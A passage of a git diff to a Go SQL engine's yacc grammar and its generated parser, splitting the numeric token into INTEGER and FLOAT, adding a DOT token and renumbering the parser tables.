r.period.end.instant.resolve(r.tx, r.params, false, r.period.end.inclusive) - if err == store.ErrTxNotFound { + if errors.Is(err, store.ErrTxNotFound) { txRange.finalTxID = uint64(0) } if err != nil && err != store.ErrTxNotFound { diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index df7ef663d4..2c89ba8124 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -5,7 +5,7 @@ Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at - http://www.apache.org/licenses/LICENSE-2.0 + http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, @@ -36,7 +36,8 @@ func setResult(l yyLexer, stmts []SQLStmt) { values []ValueExp value ValueExp id string - number uint64 + integer uint64 + float float64 str string boolean bool blob []byte @@ -81,12 +82,14 @@ func setResult(l yyLexer, stmts []SQLStmt) { %token CMPOP %token IDENTIFIER %token TYPE -%token NUMBER +%token INTEGER +%token FLOAT %token VARCHAR %token BOOLEAN %token BLOB %token AGGREGATE_FUNC %token ERROR +%token DOT %left ',' %right AS @@ -127,7 +130,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type binExp %type opt_groupby %type opt_limit opt_offset -%type opt_max_len +%type opt_max_len %type opt_as %type ordcols opt_orderby %type opt_ord @@ -367,10 +370,15 @@ values: $$ = append($1, $3) } -val: - NUMBER +val: + INTEGER { - $$ = &Number{val: int64($1)} + $$ = &Integer{val: int64($1)} + } +| + FLOAT + { + $$ = &Float64{val: float64($1)} } | VARCHAR @@ -441,7 +449,7 @@ opt_max_len: $$ = 0 } | - '[' NUMBER ']' + '[' INTEGER ']' { $$ = $2 } @@ -569,7 +577,7 @@ col: $$ = &ColSelector{col: $1} } | - IDENTIFIER '.' IDENTIFIER + IDENTIFIER DOT IDENTIFIER { $$ = &ColSelector{table: $1, col: $3} } @@ -812,7 +820,7 @@ exp: | '-' exp { - $$ = &NumExp{left: &Number{val: 0}, op: SUBSOP, right: $2} + $$ = &NumExp{left: &Integer{val: 0}, op: SUBSOP, right: $2} } | boundexp opt_not LIKE exp diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index 2b4f905a41..cd303f715f 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -22,7 +22,8 @@ type yySymType struct { values []ValueExp value ValueExp id string - number uint64 + integer uint64 + float float64 str string boolean bool blob []byte @@ -122,13 +123,15 @@ const LOP = 57410 const CMPOP = 57411 const IDENTIFIER = 57412 const TYPE = 57413 -const NUMBER = 57414 -const VARCHAR = 57415 -const BOOLEAN = 57416 -const BLOB = 57417 -const AGGREGATE_FUNC = 57418 -const ERROR = 57419 -const STMT_SEPARATOR = 57420 +const INTEGER = 57414 +const FLOAT = 57415 +const VARCHAR = 57416 +const BOOLEAN = 57417 +const BLOB = 57418 +const AGGREGATE_FUNC = 57419 +const ERROR = 57420 +const DOT = 57421 +const STMT_SEPARATOR = 57422 var yyToknames = [...]string{ "$end", @@ -202,12 +205,14 @@ var yyToknames = [...]string{ "CMPOP", "IDENTIFIER", "TYPE", - "NUMBER", + "INTEGER", + "FLOAT", "VARCHAR", "BOOLEAN", "BLOB", "AGGREGATE_FUNC", "ERROR", + "DOT", "','", "'+'", "'-'", @@ -232,102 +237,102 @@ var yyExca = [...]int{ 1, -1, -2, 0, -1, 74, - 57, 137, - 60, 137, - -2, 126, - -1, 186, - 43, 102, - -2, 97, - -1, 215, - 43, 102, - -2, 99, + 57, 138, + 60, 138, + -2, 127, + -1, 187, + 43, 103, + -2, 98, + -1, 216, + 43, 103, + -2, 100, } const yyPrivate = 57344 -const yyLast = 373 +const yyLast = 376 var yyAct = [...]int{ - 73, 292, 60, 180, 138, 208, 232, 236, 87, 135, - 144, 172, 214, 105, 231, 97, 173, 155, 45, 6, - 79, 265, 100, 178, 223, 203, 18, 178, 178, 178, - 274, 269, 72, 251, 268, 249, 224, 179, 237, 148, - 252, 250, 76, 219, 202, 78, 200, 192, 191, 90, - 86, 88, 89, 238, 146, 233, 91, 59, 82, 83, - 84, 85, 61, 177, 199, 109, 77, 131, 196, 131, - 157, 81, 130, 116, 102, 128, 76, 126, 127, 78, - 111, 108, 129, 90, 86, 88, 89, 96, 95, 20, - 91, 109, 82, 83, 84, 85, 61, 62, 248, 140, - 77, 291, 62, 61, 98, 81, 137, 285, 57, 123, - 228, 152, 147, 151, 255, 141, 121, 122, 159, 160, - 161, 162, 163, 164, 254, 149, 62, 117, 118, 120, - 119, 171, 174, 203, 170, 123, 193, 142, 178, 104, - 107, 62, 136, 201, 185, 230, 183, 61, 169, 186, - 175, 123, 194, 117, 118, 120, 119, 106, 121, 122, - 143, 189, 206, 190, 187, 184, 188, 195, 198, 117, - 118, 120, 119, 123, 254, 220, 71, 123, 27, 28, - 121, 122, 210, 101, 176, 122, 264, 212, 123, 156, - 158, 117, 118, 120, 119, 117, 118, 120, 119, 153, - 174, 218, 150, 112, 229, 65, 225, 63, 120, 119, - 235, 221, 34, 49, 44, 217, 227, 247, 239, 226, - 166, 156, 234, 197, 246, 92, 123, 165, 241, 240, - 263, 40, 167, 243, 174, 168, 110, 125, 64, 55, - 35, 277, 26, 293, 294, 256, 114, 115, 257, 209, - 181, 147, 261, 260, 284, 272, 259, 98, 271, 242, - 103, 266, 32, 37, 18, 273, 282, 275, 267, 53, - 207, 205, 278, 31, 30, 280, 21, 244, 133, 132, - 283, 204, 286, 93, 94, 281, 2, 289, 290, 287, - 211, 113, 76, 66, 295, 78, 182, 296, 39, 90, - 86, 88, 89, 10, 11, 43, 91, 38, 82, 83, - 84, 85, 61, 29, 145, 139, 77, 19, 12, 70, - 69, 81, 41, 42, 253, 7, 22, 8, 9, 13, - 14, 33, 99, 15, 16, 23, 25, 24, 124, 18, - 47, 48, 67, 245, 262, 50, 51, 52, 276, 288, - 222, 258, 75, 74, 270, 216, 215, 213, 68, 46, - 54, 36, 58, 56, 80, 279, 134, 154, 17, 5, - 4, 3, 1, + 73, 293, 60, 181, 139, 209, 233, 237, 88, 136, + 145, 173, 215, 106, 232, 98, 174, 156, 45, 6, + 79, 266, 101, 179, 204, 179, 179, 224, 18, 179, + 275, 270, 252, 250, 225, 269, 253, 180, 238, 149, + 251, 220, 203, 201, 76, 193, 124, 78, 192, 178, + 234, 91, 87, 89, 90, 239, 147, 59, 92, 200, + 82, 83, 84, 85, 86, 61, 118, 119, 121, 120, + 77, 197, 124, 117, 103, 81, 110, 127, 128, 122, + 123, 124, 130, 132, 132, 158, 131, 129, 122, 123, + 112, 109, 118, 119, 121, 120, 97, 96, 20, 171, + 141, 118, 119, 121, 120, 62, 124, 138, 256, 99, + 292, 286, 153, 148, 255, 110, 142, 124, 152, 160, + 161, 162, 163, 164, 165, 123, 150, 202, 121, 120, + 204, 194, 172, 175, 179, 124, 229, 118, 119, 121, + 120, 62, 122, 123, 143, 186, 105, 184, 61, 170, + 187, 176, 62, 249, 57, 118, 119, 121, 120, 61, + 221, 71, 190, 195, 191, 188, 185, 189, 196, 199, + 255, 62, 27, 28, 137, 108, 231, 76, 207, 102, + 78, 177, 157, 211, 91, 87, 89, 90, 213, 159, + 154, 92, 107, 82, 83, 84, 85, 86, 61, 151, + 113, 175, 219, 77, 65, 230, 157, 226, 81, 63, + 93, 236, 222, 34, 49, 44, 144, 228, 218, 240, + 227, 248, 265, 235, 198, 264, 167, 111, 247, 242, + 241, 115, 116, 166, 244, 175, 26, 124, 168, 126, + 40, 169, 64, 55, 35, 278, 257, 294, 295, 258, + 72, 210, 148, 262, 261, 182, 285, 273, 260, 99, + 272, 39, 267, 243, 104, 32, 274, 37, 18, 283, + 276, 268, 53, 279, 208, 206, 281, 31, 30, 21, + 245, 284, 134, 287, 133, 41, 42, 205, 290, 291, + 288, 94, 95, 282, 76, 296, 212, 78, 297, 114, + 66, 91, 87, 89, 90, 67, 10, 11, 92, 183, + 82, 83, 84, 85, 86, 61, 43, 146, 2, 29, + 77, 12, 70, 69, 140, 81, 47, 48, 7, 19, + 8, 9, 13, 14, 33, 22, 15, 16, 254, 38, + 100, 125, 18, 246, 23, 25, 24, 263, 50, 51, + 52, 277, 289, 223, 259, 75, 74, 271, 217, 216, + 214, 68, 46, 54, 36, 58, 56, 80, 280, 135, + 155, 17, 5, 4, 3, 1, } var yyPact = [...]int{ - 299, -1000, -1000, 5, -1000, -1000, -1000, 249, -1000, -1000, - 320, 172, 298, 242, 241, 220, 142, 186, 222, -1000, - 299, -1000, 173, 173, 173, 288, -1000, 144, 332, 143, - 142, 142, 142, 233, -1000, 184, 27, -1000, -1000, 137, - 182, 135, 275, 173, -1000, -1000, 309, 20, 20, 263, - 3, 2, 212, 113, 224, -1000, 218, -1000, 61, 87, - -1000, -4, 8, -1000, 177, -5, 133, 273, -1000, 20, - 20, -1000, 236, 112, 181, -1000, 236, 236, -10, -1000, - -1000, 236, -1000, -1000, -1000, -1000, -13, -1000, -1000, -1000, - -1000, -18, -1000, 256, 255, 72, 72, 310, 236, 59, - -1000, 91, -1000, -31, 71, -1000, -1000, 132, 32, 129, - -1000, 119, -15, 120, -1000, -1000, 112, 236, 236, 236, - 236, 236, 236, 164, 175, -1000, 116, 127, 224, 48, - 236, 236, 119, 114, -23, 60, -1000, -49, 202, 279, - 112, 310, 113, 236, 310, 332, 224, 87, -16, 87, - -1000, -38, -39, -1000, 58, -1000, 81, 72, -17, 127, - 127, 165, 165, 116, 74, -1000, 160, 236, -21, -40, - -1000, 90, -42, 55, 112, -1000, 259, 238, 92, 237, - 200, 236, 272, 202, -1000, 112, 148, 87, -43, -1000, - -1000, -1000, -1000, 151, -63, -50, 72, -1000, 116, -14, - -1000, 39, -1000, 236, 75, -30, -1000, -30, -1000, 236, - 112, -32, 200, 212, -1000, 148, 216, -1000, -1000, 87, - 252, -1000, 161, 26, -1000, -51, -45, -53, -46, 112, - -1000, 96, -1000, 236, 46, 112, -1000, -1000, 72, -1000, - 210, -1000, -31, -1000, -32, 168, -1000, 123, -67, -1000, - -1000, -1000, -1000, -1000, -30, 231, -52, -55, 214, 208, - 310, -56, -1000, -1000, -1000, -1000, -1000, 229, -1000, -1000, - 191, 236, 56, 267, -1000, 227, 202, 207, 112, 29, - -1000, 236, -1000, 200, 56, 56, 112, -1000, 23, 192, - -1000, 56, -1000, -1000, -1000, 192, -1000, + 302, -1000, -1000, 12, -1000, -1000, -1000, 252, -1000, -1000, + 329, 166, 304, 246, 245, 223, 143, 190, 226, -1000, + 302, -1000, 182, 182, 182, 299, -1000, 145, 318, 144, + 143, 143, 143, 236, -1000, 188, 71, -1000, -1000, 139, + 186, 134, 282, 182, -1000, -1000, 312, 238, 238, 271, + 10, 9, 214, 109, 228, -1000, 222, -1000, 66, 122, + -1000, 4, 36, -1000, 168, 3, 130, 281, -1000, 238, + 238, -1000, 121, 20, 183, -1000, 121, 121, 0, -1000, + -1000, 121, -1000, -1000, -1000, -1000, -1000, -1, -1000, -1000, + -1000, -1000, -3, -1000, 261, 259, 104, 104, 319, 121, + 64, -1000, 147, -1000, -31, 82, -1000, -1000, 129, 35, + 120, -1000, 112, -2, 119, -1000, -1000, 20, 121, 121, + 121, 121, 121, 121, 170, 181, -1000, 56, 45, 228, + 11, 121, 121, 112, 111, -39, 54, -1000, -51, 207, + 292, 20, 319, 109, 121, 319, 318, 228, 122, -4, + 122, -1000, -40, -43, -1000, 51, -1000, 92, 104, -16, + 45, 45, 176, 176, 56, -15, -1000, 161, 121, -28, + -45, -1000, 74, -46, 50, 20, -1000, 265, 242, 108, + 241, 202, 121, 278, 207, -1000, 20, 151, 122, -47, + -1000, -1000, -1000, -1000, 136, -62, -54, 104, -1000, 56, + -12, -1000, 65, -1000, 121, 106, -37, -1000, -37, -1000, + 121, 20, -32, 202, 214, -1000, 151, 220, -1000, -1000, + 122, 255, -1000, 165, 81, -1000, -55, -48, -56, -52, + 20, -1000, 90, -1000, 121, 34, 20, -1000, -1000, 104, + -1000, 212, -1000, -31, -1000, -32, 163, -1000, 159, -69, + -1000, -1000, -1000, -1000, -1000, -37, 234, -53, -57, 216, + 210, 319, -58, -1000, -1000, -1000, -1000, -1000, 232, -1000, + -1000, 195, 121, 101, 275, -1000, 230, 207, 209, 20, + 31, -1000, 121, -1000, 202, 101, 101, 20, -1000, 30, + 196, -1000, 101, -1000, -1000, -1000, 196, -1000, } var yyPgo = [...]int{ - 0, 372, 286, 371, 370, 369, 19, 368, 367, 17, - 9, 7, 366, 365, 14, 6, 16, 11, 364, 8, - 20, 363, 362, 2, 361, 360, 10, 314, 18, 359, - 358, 176, 357, 12, 356, 355, 0, 15, 354, 353, - 352, 351, 3, 5, 350, 13, 349, 348, 1, 4, - 298, 344, 343, 338, 22, 332, 324, 317, + 0, 375, 318, 374, 373, 372, 19, 371, 370, 17, + 9, 7, 369, 368, 14, 6, 16, 11, 367, 8, + 20, 366, 365, 2, 364, 363, 10, 317, 18, 362, + 361, 161, 360, 12, 359, 358, 0, 15, 357, 356, + 355, 354, 3, 5, 353, 13, 352, 351, 1, 4, + 261, 347, 343, 341, 22, 340, 338, 329, } var yyR1 = [...]int{ @@ -336,16 +341,16 @@ var yyR1 = [...]int{ 4, 4, 50, 50, 11, 11, 5, 5, 5, 5, 56, 56, 55, 55, 54, 12, 12, 14, 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, 18, 18, - 18, 18, 18, 18, 18, 18, 18, 19, 8, 8, - 9, 44, 44, 51, 51, 52, 52, 52, 6, 6, - 7, 25, 25, 24, 24, 21, 21, 22, 22, 20, - 20, 20, 23, 23, 26, 26, 26, 27, 28, 29, - 29, 29, 30, 30, 30, 31, 31, 32, 32, 33, - 33, 34, 35, 35, 37, 37, 41, 41, 38, 38, - 42, 42, 43, 43, 47, 47, 49, 49, 46, 46, - 48, 48, 48, 45, 45, 45, 36, 36, 36, 36, - 36, 36, 36, 36, 39, 39, 39, 53, 53, 40, - 40, 40, 40, 40, 40, 40, 40, + 18, 18, 18, 18, 18, 18, 18, 18, 19, 8, + 8, 9, 44, 44, 51, 51, 52, 52, 52, 6, + 6, 7, 25, 25, 24, 24, 21, 21, 22, 22, + 20, 20, 20, 23, 23, 26, 26, 26, 27, 28, + 29, 29, 29, 30, 30, 30, 31, 31, 32, 32, + 33, 33, 34, 35, 35, 37, 37, 41, 41, 38, + 38, 42, 42, 43, 43, 47, 47, 49, 49, 46, + 46, 48, 48, 48, 45, 45, 45, 36, 36, 36, + 36, 36, 36, 36, 36, 39, 39, 39, 53, 53, + 40, 40, 40, 40, 40, 40, 40, 40, } var yyR2 = [...]int{ @@ -354,82 +359,82 @@ var yyR2 = [...]int{ 6, 8, 0, 3, 1, 3, 9, 8, 7, 8, 0, 4, 1, 3, 3, 0, 1, 1, 3, 3, 1, 3, 1, 3, 0, 1, 1, 3, 1, 1, - 1, 1, 6, 1, 1, 1, 1, 4, 1, 3, - 5, 0, 3, 0, 1, 0, 1, 2, 1, 4, - 13, 0, 1, 0, 1, 1, 1, 2, 4, 1, - 4, 4, 1, 3, 3, 4, 2, 1, 2, 0, - 2, 2, 0, 2, 2, 2, 1, 0, 1, 1, - 2, 6, 0, 1, 0, 2, 0, 3, 0, 2, - 0, 2, 0, 2, 0, 3, 0, 4, 2, 4, - 0, 1, 1, 0, 1, 2, 1, 1, 2, 2, - 4, 4, 6, 6, 1, 1, 3, 0, 1, 3, - 3, 3, 3, 3, 3, 3, 4, + 1, 1, 1, 6, 1, 1, 1, 1, 4, 1, + 3, 5, 0, 3, 0, 1, 0, 1, 2, 1, + 4, 13, 0, 1, 0, 1, 1, 1, 2, 4, + 1, 4, 4, 1, 3, 3, 4, 2, 1, 2, + 0, 2, 2, 0, 2, 2, 2, 1, 0, 1, + 1, 2, 6, 0, 1, 0, 2, 0, 3, 0, + 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, + 4, 0, 1, 1, 0, 1, 2, 1, 1, 2, + 2, 4, 4, 6, 6, 1, 1, 3, 0, 1, + 3, 3, 3, 3, 3, 3, 3, 4, } var yyChk = [...]int{ -1000, -1, -2, -3, -4, -5, -6, 26, 28, 29, 4, 5, 19, 30, 31, 34, 35, -7, 40, -57, - 84, 27, 6, 15, 17, 16, 70, 6, 7, 15, + 86, 27, 6, 15, 17, 16, 70, 6, 7, 15, 32, 32, 42, -27, 70, 54, -24, 41, -2, -50, 58, -50, -50, 17, 70, -28, -29, 8, 9, 70, - -27, -27, -27, 36, -25, 55, -21, 81, -22, -20, - -23, 76, 70, 70, 56, 70, 18, -50, -30, 11, - 10, -31, 12, -36, -39, -40, 56, 80, 59, -20, - -18, 85, 72, 73, 74, 75, 64, -19, 65, 66, - 63, 70, -31, 20, 21, 85, 85, -37, 45, -55, - -54, 70, -6, 42, 78, -45, 70, 53, 85, 83, - 59, 85, 70, 18, -31, -31, -36, 79, 80, 82, - 81, 68, 69, 61, -53, 56, -36, -36, 85, -36, - 85, 85, 23, 23, -12, -10, 70, -10, -49, 5, - -36, -37, 78, 69, -26, -27, 85, -19, 70, -20, - 70, 81, -23, 70, -8, -9, 70, 85, 70, -36, - -36, -36, -36, -36, -36, 63, 56, 57, 60, -6, - 86, -36, -17, -16, -36, -9, 70, 86, 78, 86, - -42, 48, 17, -49, -54, -36, -49, -28, -6, -45, - -45, 86, 86, 78, 71, -10, 85, 63, -36, 85, - 86, 53, 86, 78, 22, 33, 70, 33, -43, 49, - -36, 18, -42, -32, -33, -34, -35, 67, -45, 86, - 24, -9, -44, 87, 86, -10, -6, -16, 71, -36, - 70, -14, -15, 85, -14, -36, -11, 70, 85, -43, - -37, -33, 43, -45, 25, -52, 63, 56, 72, 86, - 86, 86, 86, -56, 78, 18, -17, -10, -41, 46, - -26, -11, -51, 62, 63, 88, -15, 37, 86, 86, - -38, 44, 47, -49, 86, 38, -47, 50, -36, -13, - -23, 18, 39, -42, 47, 78, -36, -43, -46, -23, - -23, 78, -48, 51, 52, -23, -48, + -27, -27, -27, 36, -25, 55, -21, 83, -22, -20, + -23, 77, 70, 70, 56, 70, 18, -50, -30, 11, + 10, -31, 12, -36, -39, -40, 56, 82, 59, -20, + -18, 87, 72, 73, 74, 75, 76, 64, -19, 65, + 66, 63, 70, -31, 20, 21, 87, 87, -37, 45, + -55, -54, 70, -6, 42, 80, -45, 70, 53, 87, + 79, 59, 87, 70, 18, -31, -31, -36, 81, 82, + 84, 83, 68, 69, 61, -53, 56, -36, -36, 87, + -36, 87, 87, 23, 23, -12, -10, 70, -10, -49, + 5, -36, -37, 80, 69, -26, -27, 87, -19, 70, + -20, 70, 83, -23, 70, -8, -9, 70, 87, 70, + -36, -36, -36, -36, -36, -36, 63, 56, 57, 60, + -6, 88, -36, -17, -16, -36, -9, 70, 88, 80, + 88, -42, 48, 17, -49, -54, -36, -49, -28, -6, + -45, -45, 88, 88, 80, 71, -10, 87, 63, -36, + 87, 88, 53, 88, 80, 22, 33, 70, 33, -43, + 49, -36, 18, -42, -32, -33, -34, -35, 67, -45, + 88, 24, -9, -44, 89, 88, -10, -6, -16, 71, + -36, 70, -14, -15, 87, -14, -36, -11, 70, 87, + -43, -37, -33, 43, -45, 25, -52, 63, 56, 72, + 88, 88, 88, 88, -56, 80, 18, -17, -10, -41, + 46, -26, -11, -51, 62, 63, 90, -15, 37, 88, + 88, -38, 44, 47, -49, 88, 38, -47, 50, -36, + -13, -23, 18, 39, -42, 47, 80, -36, -43, -46, + -23, -23, 80, -48, 51, 52, -23, -48, } var yyDef = [...]int{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, - 0, 0, 0, 0, 0, 0, 0, 68, 73, 2, - 5, 9, 22, 22, 22, 0, 14, 0, 89, 0, - 0, 0, 0, 0, 87, 71, 0, 74, 3, 0, - 0, 0, 0, 22, 15, 16, 92, 0, 0, 0, - 0, 0, 104, 0, 0, 72, 0, 75, 76, 123, - 79, 0, 82, 13, 0, 0, 0, 0, 88, 0, - 0, 90, 0, 96, -2, 127, 0, 0, 0, 134, - 135, 0, 48, 49, 50, 51, 0, 53, 54, 55, - 56, 82, 91, 0, 0, 35, 0, 116, 0, 104, - 32, 0, 69, 0, 0, 77, 124, 0, 0, 0, - 23, 0, 0, 0, 93, 94, 95, 0, 0, 0, - 0, 0, 0, 0, 0, 138, 128, 129, 0, 0, - 0, 44, 0, 0, 0, 36, 40, 0, 110, 0, - 105, 116, 0, 0, 116, 89, 0, 123, 87, 123, - 125, 0, 0, 83, 0, 58, 0, 0, 0, 139, - 140, 141, 142, 143, 144, 145, 0, 0, 0, 0, - 136, 0, 0, 45, 46, 20, 0, 0, 0, 0, - 112, 0, 0, 110, 33, 34, -2, 123, 0, 86, - 78, 80, 81, 0, 61, 0, 0, 146, 130, 0, - 131, 0, 57, 0, 0, 0, 41, 0, 28, 0, - 111, 0, 112, 104, 98, -2, 0, 103, 84, 123, - 0, 59, 65, 0, 18, 0, 0, 0, 0, 47, - 21, 30, 37, 44, 27, 113, 117, 24, 0, 29, - 106, 100, 0, 85, 0, 63, 66, 0, 0, 19, - 132, 133, 52, 26, 0, 0, 0, 0, 108, 0, - 116, 0, 60, 64, 67, 62, 38, 0, 39, 25, - 114, 0, 0, 0, 17, 0, 110, 0, 109, 107, - 42, 0, 31, 112, 0, 0, 101, 70, 115, 120, - 43, 0, 118, 121, 122, 120, 119, + 0, 0, 0, 0, 0, 0, 0, 69, 74, 2, + 5, 9, 22, 22, 22, 0, 14, 0, 90, 0, + 0, 0, 0, 0, 88, 72, 0, 75, 3, 0, + 0, 0, 0, 22, 15, 16, 93, 0, 0, 0, + 0, 0, 105, 0, 0, 73, 0, 76, 77, 124, + 80, 0, 83, 13, 0, 0, 0, 0, 89, 0, + 0, 91, 0, 97, -2, 128, 0, 0, 0, 135, + 136, 0, 48, 49, 50, 51, 52, 0, 54, 55, + 56, 57, 83, 92, 0, 0, 35, 0, 117, 0, + 105, 32, 0, 70, 0, 0, 78, 125, 0, 0, + 0, 23, 0, 0, 0, 94, 95, 96, 0, 0, + 0, 0, 0, 0, 0, 0, 139, 129, 130, 0, + 0, 0, 44, 0, 0, 0, 36, 40, 0, 111, + 0, 106, 117, 0, 0, 117, 90, 0, 124, 88, + 124, 126, 0, 0, 84, 0, 59, 0, 0, 0, + 140, 141, 142, 143, 144, 145, 146, 0, 0, 0, + 0, 137, 0, 0, 45, 46, 20, 0, 0, 0, + 0, 113, 0, 0, 111, 33, 34, -2, 124, 0, + 87, 79, 81, 82, 0, 62, 0, 0, 147, 131, + 0, 132, 0, 58, 0, 0, 0, 41, 0, 28, + 0, 112, 0, 113, 105, 99, -2, 0, 104, 85, + 124, 0, 60, 66, 0, 18, 0, 0, 0, 0, + 47, 21, 30, 37, 44, 27, 114, 118, 24, 0, + 29, 107, 101, 0, 86, 0, 64, 67, 0, 0, + 19, 133, 134, 53, 26, 0, 0, 0, 0, 109, + 0, 117, 0, 61, 65, 68, 63, 38, 0, 39, + 25, 115, 0, 0, 0, 17, 0, 111, 0, 110, + 108, 42, 0, 31, 113, 0, 0, 102, 71, 116, + 121, 43, 0, 119, 122, 123, 121, 120, } var yyTok1 = [...]int{ @@ -437,12 +442,12 @@ var yyTok1 = [...]int{ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 85, 86, 81, 79, 78, 80, 83, 82, 3, 3, + 87, 88, 83, 81, 80, 82, 85, 84, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 87, 3, 88, + 3, 89, 3, 90, } var yyTok2 = [...]int{ @@ -453,7 +458,7 @@ var yyTok2 = [...]int{ 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, - 72, 73, 74, 75, 76, 77, 84, + 72, 73, 74, 75, 76, 77, 78, 79, 86, } var yyTok3 = [...]int{ @@ -1013,109 +1018,114 @@ yydefault: case 48: yyDollar = yyS[yypt-1 : yypt+1] { - yyVAL.value = &Number{val: int64(yyDollar[1].number)} + yyVAL.value = &Integer{val: int64(yyDollar[1].integer)} } case 49: yyDollar = yyS[yypt-1 : yypt+1] { - yyVAL.value = &Varchar{val: yyDollar[1].str} + yyVAL.value = &Float64{val: float64(yyDollar[1].float)} } case 50: yyDollar = yyS[yypt-1 : yypt+1] { - yyVAL.value = &Bool{val: yyDollar[1].boolean} + yyVAL.value = &Varchar{val: yyDollar[1].str} } case 51: yyDollar = yyS[yypt-1 : yypt+1] { - yyVAL.value = &Blob{val: yyDollar[1].blob} + yyVAL.value = &Bool{val: yyDollar[1].boolean} } case 52: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.value = &Blob{val: yyDollar[1].blob} + } + case 53: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType} } - case 53: + case 54: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = yyDollar[1].value } - case 54: + case 55: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: yyDollar[1].id} } - case 55: + case 56: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: fmt.Sprintf("param%d", yyDollar[1].pparam), pos: yyDollar[1].pparam} } - case 56: + case 57: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &NullValue{t: AnyType} } - case 57: + case 58: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values} } - case 58: + case 59: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colsSpec = []*ColSpec{yyDollar[1].colSpec} } - case 59: + case 60: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colsSpec = append(yyDollar[1].colsSpec, yyDollar[3].colSpec) } - case 60: + case 61: yyDollar = yyS[yypt-5 : yypt+1] { - yyVAL.colSpec = &ColSpec{colName: yyDollar[1].id, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].number), notNull: yyDollar[4].boolean, autoIncrement: yyDollar[5].boolean} + yyVAL.colSpec = &ColSpec{colName: yyDollar[1].id, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].integer), notNull: yyDollar[4].boolean, autoIncrement: yyDollar[5].boolean} } - case 61: + case 62: yyDollar = yyS[yypt-0 : yypt+1] { - yyVAL.number = 0 + yyVAL.integer = 0 } - case 62: + case 63: yyDollar = yyS[yypt-3 : yypt+1] { - yyVAL.number = yyDollar[2].number + yyVAL.integer = yyDollar[2].integer } - case 63: + case 64: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 64: + case 65: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = true } - case 65: + case 66: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 66: + case 67: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.boolean = false } - case 67: + case 68: yyDollar = yyS[yypt-2 : yypt+1] { yyVAL.boolean = true } - case 68: + case 69: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.stmt = yyDollar[1].stmt } - case 69: + case 70: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.stmt = &UnionStmt{ @@ -1124,7 +1134,7 @@ yydefault: right: yyDollar[4].stmt.(DataSource), } } - case 70: + case 71: yyDollar = yyS[yypt-13 : yypt+1] { yyVAL.stmt = &SelectStmt{ @@ -1141,387 +1151,387 @@ yydefault: offset: yyDollar[13].exp, } } - case 71: + case 72: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = true } - case 72: + case 73: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = false } - case 73: + case 74: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.distinct = false } - case 74: + case 75: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.distinct = true } - case 75: + case 76: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = nil } - case 76: + case 77: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sels = yyDollar[1].sels } - case 77: + case 78: yyDollar = yyS[yypt-2 : yypt+1] { yyDollar[1].sel.setAlias(yyDollar[2].id) yyVAL.sels = []Selector{yyDollar[1].sel} } - case 78: + case 79: yyDollar = yyS[yypt-4 : yypt+1] { yyDollar[3].sel.setAlias(yyDollar[4].id) yyVAL.sels = append(yyDollar[1].sels, yyDollar[3].sel) } - case 79: + case 80: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.sel = yyDollar[1].col } - case 80: + case 81: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, col: "*"} } - case 81: + case 82: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.sel = &AggColSelector{aggFn: yyDollar[1].aggFn, db: yyDollar[3].col.db, table: yyDollar[3].col.table, col: yyDollar[3].col.col} } - case 82: + case 83: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.col = &ColSelector{col: yyDollar[1].id} } - case 83: + case 84: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.col = &ColSelector{table: yyDollar[1].id, col: yyDollar[3].id} } - case 84: + case 85: yyDollar = yyS[yypt-3 : yypt+1] { yyDollar[1].tableRef.period = yyDollar[2].period yyDollar[1].tableRef.as = yyDollar[3].id yyVAL.ds = yyDollar[1].tableRef } - case 